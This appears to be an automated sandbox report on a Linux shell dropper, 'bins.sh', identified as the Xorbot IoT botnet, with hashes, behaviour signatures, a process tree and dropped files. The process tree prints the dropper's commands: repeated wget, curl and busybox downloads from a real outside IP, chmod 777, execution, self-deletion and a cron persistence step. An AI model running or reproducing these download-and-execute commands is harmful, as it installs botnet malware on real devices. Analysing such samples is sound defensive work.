Analysis

  • max time kernel
    124s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 17:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26c147f3c53daa20ad5513d299f09a9b

  • SHA1

    dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199

  • SHA256

    c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570

  • SHA512

    e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78

  • SSDEEP

    192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:699
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:805
        • /bin/chmod
          chmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • File and Directory Permissions Modification
          PID:806
        • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          ./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Executes dropped EXE
          PID:807
        • /bin/rm
          rm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
            PID:809
          • /usr/bin/wget
            wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:810
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:811
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:812
          • /bin/chmod
            chmod 777 XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • File and Directory Permissions Modification
            PID:813
          • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            ./XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Executes dropped EXE
            PID:814
          • /bin/rm
            rm XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
              PID:816
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:817
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:818
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:819
            • /bin/chmod
              chmod 777 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • File and Directory Permissions Modification
              PID:820
            • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              ./GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Executes dropped EXE
              PID:821
            • /bin/rm
              rm GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
                PID:823
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:824
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:825
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/chmod
                chmod 777 uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • File and Directory Permissions Modification
                PID:827
              • /tmp/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                ./uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                • Executes dropped EXE
                PID:828
              • /bin/rm
                rm uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                2⤵
                  PID:830
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Writes file to tmp directory
                  PID:831
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:832
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /bin/chmod
                  chmod 777 TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:834
                • /tmp/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  ./TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                  • Executes dropped EXE
                  PID:835
                • /bin/rm
                  rm TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq
                  2⤵
                    PID:837
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:839
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/chmod
                    chmod 777 Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:841
                  • /tmp/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    ./Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                    • Executes dropped EXE
                    PID:842
                  • /bin/rm
                    rm Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ
                    2⤵
                      PID:844
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:845
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:846
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /bin/chmod
                      chmod 777 K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • File and Directory Permissions Modification
                      PID:848
                    • /tmp/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      ./K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                      • Executes dropped EXE
                      PID:849
                    • /bin/rm
                      rm K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405
                      2⤵
                        PID:851
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Writes file to tmp directory
                        PID:852
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Writes file to tmp directory
                        PID:853
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Writes file to tmp directory
                        PID:854
                      • /bin/chmod
                        chmod 777 rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • File and Directory Permissions Modification
                        PID:855
                      • /tmp/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        ./rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:856
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:858
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:859
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:860
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:861
                          • /bin/rm
                            rm rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC
                            2⤵
                              PID:863
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                              2⤵
                                PID:866
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/qK65Vk4ZLlfy6SqzYGuEdcZ519zNOa4aaO
                                2⤵
                                  PID:867

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/K0CCSRYUcswteV83Qf1V6E8Q93OO6c9405

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/TloDB6FzTsz4rELZWr7P62vl2P2aaoGQsq

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI

                                      Filesize

                                      117KB

                                      MD5

                                      849fa04ef88a8e8de32cb2e8538de5fe

                                      SHA1

                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                      SHA256

                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                      SHA512

                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                    • /tmp/Z2Lh2WGlgUpISCFbtFd8OLzDyDqIYo1CUJ

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/rWfq2pO21pGncHQtC23Uy25nN5xhjlo7gC

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq

                                      Filesize

                                      119KB

                                      MD5

                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                      SHA1

                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                      SHA256

                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                      SHA512

                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                    • /var/spool/cron/crontabs/tmp.vvhCRO

                                      Filesize

                                      210B

                                      MD5

                                      93c66f665623461018e7bc7f049dd81f

                                      SHA1

                                      df50cdb85298624c0eabdef53c7d48834a555d89

                                      SHA256

                                      962079b134560cc7ec456f5e520cf56582e00d346b56f2aa1e4337a4e94fbede

                                      SHA512

                                      3fdce93e805e4bf804d819dc6599bfdc84902a13ba92879c0e31b3913930e409dcd7fcaaf4ecf38c224872f27397edd2e120b00061ecccce4eaf4847009f5616